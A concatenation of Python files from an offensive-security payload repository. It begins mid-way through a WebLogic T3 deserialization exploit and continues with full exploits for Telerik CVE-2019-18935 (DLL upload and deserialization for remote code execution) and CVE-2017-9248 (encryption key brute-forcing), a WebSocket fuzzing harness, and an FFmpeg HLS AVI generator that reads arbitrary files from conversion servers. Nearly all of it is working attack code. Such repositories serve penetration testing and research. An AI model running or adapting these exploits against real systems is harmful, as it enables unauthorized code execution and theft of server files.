'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' payload += payloadObj payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' # adjust header for appropriate message length payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:]) print('[*] Sending payload') sock.send(payload)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Telerik CVE-2019-18935.py
CVE Exploits/Telerik CVE-2019-18935.py
#!/usr/bin/env python3 # origin : https://github.com/noperator/CVE-2019-18935 # INSTALL: # git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935 # python3 -m venv env # source env/bin/activate # pip3 install -r requirements.txt # Import encryption routines. from sys import path path.insert(1, 'RAU_crypto') from RAU_crypto import RAUCipher from argparse import ArgumentParser from json import dumps, loads from os.path import basename, splitext from pprint import pprint from requests import post from requests.packages.urllib3 import disable_warnings from sys import stderr from time import time from urllib3.exceptions import InsecureRequestWarning disable_warnings(category=InsecureRequestWarning) def send_request(files): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0', 'Connection': 'close', 'Accept-Language': 'en-US,en;q=0.5', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Upgrade-Insecure-Requests': '1' } response = post(url, files=files, verify=False, headers=headers) try: result = loads(response.text) result['metaData'] = loads(RAUCipher.decrypt(result['metaData'])) pprint(result) except: print(response.text) def build_raupostdata(object, type): return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type) def upload(): # Build rauPostData. object = { 'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version), 'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version), 'MaxFileSize': 0, 'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk. 'Ticks': 1440000000000, 'Days': 0, 'Hours': 40, 'Minutes': 0, 'Seconds': 0, 'Milliseconds': 0, 'TotalDays': 1.6666666666666666, 'TotalHours': 40, 'TotalMinutes': 2400, 'TotalSeconds': 144000, 'TotalMilliseconds': 144000000 }, 'UseApplicationPoolImpersonation': False } type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4' raupostdata = build_raupostdata(object, type) with open(filename_local, 'rb') as f: payload = f.read() metadata = { 'TotalChunks': 1, 'ChunkIndex': 0, 'TotalFileSize': 1, 'UploadID': filename_remote # Determines remote filename on disk. } # Build multipart form data. files = { 'rauPostData': (None, raupostdata), 'file': (filename_remote, payload, 'application/octet-stream'), 'fileName': (None, filename_remote), 'contentType': (None, 'application/octet-stream'), 'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'), 'metadata': (None, dumps(metadata)) } # Send request. print('[*] Local payload name: ', filename_local, file=stderr) print('[*] Destination folder: ', temp_target_folder, file=stderr) print('[*] Remote payload name:', filename_remote, file=stderr) print(file=stderr) send_request(files) def deserialize(): # Build rauPostData. object = { 'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote } type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' raupostdata = build_raupostdata(object, type) # Build multipart form data. files = { 'rauPostData': (None, raupostdata), # Only need this now. '': '' # One extra input is required for the page to process the request. } # Send request. print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr) start = time() send_request(files) end = time() print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr) if __name__ == '__main__': parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.') parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln") parser.add_argument('-v', dest='ui_version', required=True, help='software version') parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version') parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL') parser.add_argument('-f', dest='folder', required=True, help='destination folder on target') parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau') args = parser.parse_args() temp_target_folder = args.folder.replace('/', '\\') ui_version = args.ui_version net_version = args.net_version filename_local = args.payload filename_remote = str(time()) + splitext(basename(filename_local))[1] url = args.url upload() if not args.test_upload: deserialize()
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Telerik CVE-2017-9248.py
CVE Exploits/Telerik CVE-2017-9248.py
# Author: Paul Taylor / @bao7uo # https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py # dp_crypto - CVE-2017-9248 exploit # Telerik.Web.UI.dll Cryptographic compromise # Warning - no cert warnings, # and verify = False in code below prevents verification import sys import base64 import requests import re import binascii import argparse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests_sent = 0 char_requests = 0 def getProxy(proxy): return { "http" : proxy, "https" : proxy } def get_result(plaintext, key, session, pad_chars): global requests_sent, char_requests url = args.url base_pad = (len(key) % 4) base = '' if base_pad == 0 else pad_chars[0:4 - base_pad] dp_encrypted = base64.b64encode( (encrypt(plaintext, key) + base).encode() ).decode() request = requests.Request('GET', url + '?dp=' + dp_encrypted) request = request.prepare() response = session.send(request, verify=False, proxies = getProxy(args.proxy)) requests_sent += 1 char_requests += 1 match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text) return True \ if match is not None \ and match.group(2) == args.oracle \ else False def test_keychar(keychar, found, session, pad_chars): base64chars = [ "A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y", "D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1", "G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4", "J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7", "M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+", "P", "f", "v", "/" ] duff = False accuracy_thoroughness_threshold = args.accuracy for bc in range(int(accuracy_thoroughness_threshold)): # ^^ max is len(base64chars) sys.stdout.write("\b\b" + base64chars[bc] + "]") sys.stdout.flush() if not get_result( base64chars[0] * len(found) + base64chars[bc], found + keychar, session, pad_chars ): duff = True break return False if duff else True def encrypt(dpdata, key): encrypted = [] k = 0 for i in range(len(dpdata)): encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k]))) k = 0 if k >= len(key) - 1 else k + 1 return ''.join(str(e) for e in encrypted) def mode_decrypt(): ciphertext = base64.b64decode(args.ciphertext).decode() key = args.key print(base64.b64decode(encrypt(ciphertext, key)).decode()) print("") def mode_encrypt(): plaintext = args.plaintext key = args.key plaintext = base64.b64encode(plaintext.encode()).decode() print(base64.b64encode(encrypt(plaintext, key).encode()).decode()) print("") def test_keypos(key_charset, unprintable, found, session): pad_chars = '' for pad_char in range(256): pad_chars += chr(pad_char) for i in range(len(pad_chars)): for k in range(len(key_charset)): keychar = key_charset[k] sys.stdout.write("\b"*6) sys.stdout.write( ( keychar if unprintable is False else '+' ) + ") [" + ( keychar if unprintable is False else '+' ) + "]" ) sys.stdout.flush() if test_keychar(keychar, found, session, pad_chars[i] * 3): return keychar return False def get_key(session): global char_requests found = '' unprintable = False key_length = args.key_len key_charset = args.charset if key_charset == 'all': unprintable = True key_charset = '' for i in range(256): key_charset += chr(i) else: if key_charset == 'hex': key_charset = '01234567890ABCDEF' print("Attacking " + args.url) print( "to find key of length [" + str(key_length) + "] with accuracy threshold [" + str(args.accuracy) + "]" ) print( "using key charset [" + ( key_charset if unprintable is False else '- all ASCII -' ) + "]\n" ) for i in range(int(key_length)): pos_str = ( str(i + 1) if i > 8 else "0" + str(i + 1) ) sys.stdout.write("Key position " + pos_str + ": (------") sys.stdout.flush() keychar = test_keypos(key_charset, unprintable, found, session) if keychar is not False: found = found + keychar sys.stdout.write( "\b"*7 + "{" + ( keychar if unprintable is False else '0x' + binascii.hexlify(keychar.encode()).decode() ) + "} found with " + str(char_requests) + " requests, total so far: " + str(requests_sent) + "\n" ) sys.stdout.flush() char_requests = 0 else: sys.stdout.write("\b"*7 + "Not found, quitting\n") sys.stdout.flush() break if keychar is not False: print("Found key: " + ( found if unprintable is False else "(hex) " + binascii.hexlify(found.encode()).decode() ) ) print("Total web requests: " + str(requests_sent)) return found def mode_brutekey(): session = requests.Session() found = get_key(session) if found == '': return else: urls = {} url_path = args.url params = ( '?DialogName=DocumentManager' + '&renderMode=2' + '&Skin=Default' + '&Title=Document%20Manager' + '&dpptn=' + '&isRtl=false' + '&dp=' ) versions = [ '2007.1423', '2007.1521', '2007.1626', '2007.2918', '2007.21010', '2007.21107', '2007.31218', '2007.31314', '2007.31425', '2008.1415', '2008.1515', '2008.1619', '2008.2723', '2008.2826', '2008.21001', '2008.31105', '2008.31125', '2008.31314', '2009.1311', '2009.1402', '2009.1527', '2009.2701', '2009.2826', '2009.31103', '2009.31208', '2009.31314', '2010.1309', '2010.1415', '2010.1519', '2010.2713', '2010.2826', '2010.2929', '2010.31109', '2010.31215', '2010.31317', '2011.1315', '2011.1413', '2011.1519', '2011.2712', '2011.2915', '2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411', '2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016', '2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403', '2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015', '2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403', '2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204', '2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623', '2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111', '2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607', '2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118', '2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711', '2017.3.913' ] plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,' plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version=' plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4' plaintext3 = ';AllowMultipleSelection,False,3,False' if len(args.version) > 0: versions = [args.version] for version in versions: plaintext2_raw2 = version plaintext2 = base64.b64encode( (plaintext2_raw1 + plaintext2_raw2 + plaintext2_raw3 ).encode() ).decode() plaintext = plaintext1 + plaintext2 + plaintext3 plaintext = base64.b64encode( plaintext.encode() ).decode() ciphertext = base64.b64encode( encrypt( plaintext, found ).encode() ).decode() full_url = url_path + params + ciphertext urls[version] = full_url found_valid_version = False for version in urls: url = urls[version] request = requests.Request('GET', url) request = request.prepare() response = session.send(request, verify=False, proxies=getProxy(args.proxy)) if response.status_code == 500: continue else: match = re.search( "(Error Message:)(.+\n*.+)(</div>)", response.text ) if match is None: print(version + ": " + url) found_valid_version = True break if not found_valid_version: print("No valid version found") def mode_samples(): print("Samples for testing decryption and encryption functions:") print("-d ciphertext key") print("-e plaintext key") print("") print("Key:") print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D") print("") print("Plaintext:") print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False") print("") print("Ciphertext:") print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+") print("") def mode_b64e(): print(base64.b64encode(args.parameter.encode()).decode()) print("") def mode_b64d(): print(base64.b64decode(args.parameter.encode()).decode()) print("") sys.stderr.write( "\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " + "Telerik.Web.UI.dll Cryptographic compromise\n\n" ) p = argparse.ArgumentParser() subparsers = p.add_subparsers() decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext') decrypt_parser.set_defaults(func=mode_decrypt) decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt') decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt') encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext') encrypt_parser.set_defaults(func=mode_encrypt) encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt') encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt') brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL') brute_parser.set_defaults(func=mode_brutekey) brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL') brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48') brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message') brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them') brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex') brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \ accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.') brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080') encode_parser = subparsers.add_parser('b', help='Encode parameter to base64') encode_parser.set_defaults(func=mode_b64e) encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode') decode_parser = subparsers.add_parser('p', help='Decode base64 parameter') decode_parser.set_defaults(func=mode_b64d) decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode') args = p.parse_args() if len(sys.argv) > 2: args.func()
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Web Sockets/Files/ws-harness.py
Web Sockets/Files/ws-harness.py
#!/usr/bin/python from __future__ import print_function import socket,ssl from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer from websocket import create_connection, WebSocket from urlparse import parse_qs import argparse import os LOOP_BACK_PORT_NUMBER = 8000 def FuzzWebSocket(fuzz_value): print(fuzz_value) ws.send(ws_message.replace("[FUZZ]", str(fuzz_value[0]))) result = ws.recv() return result def LoadMessage(file): file_contents = "" try: if os.path.isfile(file): f = open(file,'r') file_contents = f.read() f.close() except: print("Error reading file: %s" % file) exit() return file_contents class myWebServer(BaseHTTPRequestHandler): #Handler for the GET requests def do_GET(self): qs = parse_qs(self.path[2:]) fuzz_value = qs['fuzz'] result = FuzzWebSocket(fuzz_value) self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() self.wfile.write(result) return parser = argparse.ArgumentParser(description='Web Socket Harness: Use traditional tools to assess web sockets') parser.add_argument('-u','--url', help='The remote WebSocket URL to target.',required=True) parser.add_argument('-m','--message', help='A file that contains the WebSocket message template to send. Please place [FUZZ] where injection is desired.',required=True) args = parser.parse_args() ws_message = LoadMessage(args.message) ws = create_connection(args.url,sslopt={"cert_reqs": ssl.CERT_NONE},header={},http_proxy_host="", http_proxy_port=8080) try: #Create a web server and define the handler to manage the #incoming request server = HTTPServer(('', LOOP_BACK_PORT_NUMBER), myWebServer) print('Started httpserver on port ' , LOOP_BACK_PORT_NUMBER) #Wait forever for incoming http requests server.serve_forever() except KeyboardInterrupt: print('^C received, shutting down the web server') server.socket.close() ws.close()
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/CVE FFmpeg HLS/gen_avi_bypass.py
Upload Insecure Files/CVE FFmpeg HLS/gen_avi_bypass.py
import struct import argparse AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi" def make_txt_packet(content, fake_packets=50, fake_packet_len=200): content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + content packet = b'00tx' + struct.pack('<I', len(content)) + content dcpkt = b'00dc' + struct.pack('<I', fake_packet_len) + b'\x00' * fake_packet_len return packet + dcpkt * fake_packets TXT_PLAYLIST = """#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:1.0, #EXT-X-BYTERANGE: 0 {txt} #EXTINF:1.0, {file} #EXT-X-ENDLIST""" def prepare_txt_packet(txt, filename): return make_txt_packet(TXT_PLAYLIST.format(txt=txt, file=filename).encode()) # TXT_LIST = ['/usr/share/doc/gnupg/Upgrading_From_PGP.txt', '/usr/share/doc/mount/mount.txt', '/etc/pki/nssdb/pkcs11.txt', '/usr/share/gnupg/help.txt'] if __name__ == "__main__": parser = argparse.ArgumentParser('HLS AVI TXT exploit generator') parser.add_argument('filename', help='file that should be read from conversion instance') parser.add_argument('output_avi', help='where to save the avi') parser.add_argument('--txt', help='any .txt file that exist on target system', default='GOD.txt') args = parser.parse_args() avi = AVI_HEADER + prepare_txt_packet(args.txt, args.filename) output_name = args.output_avi with open(output_name, 'wb') as f: f.write(avi)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
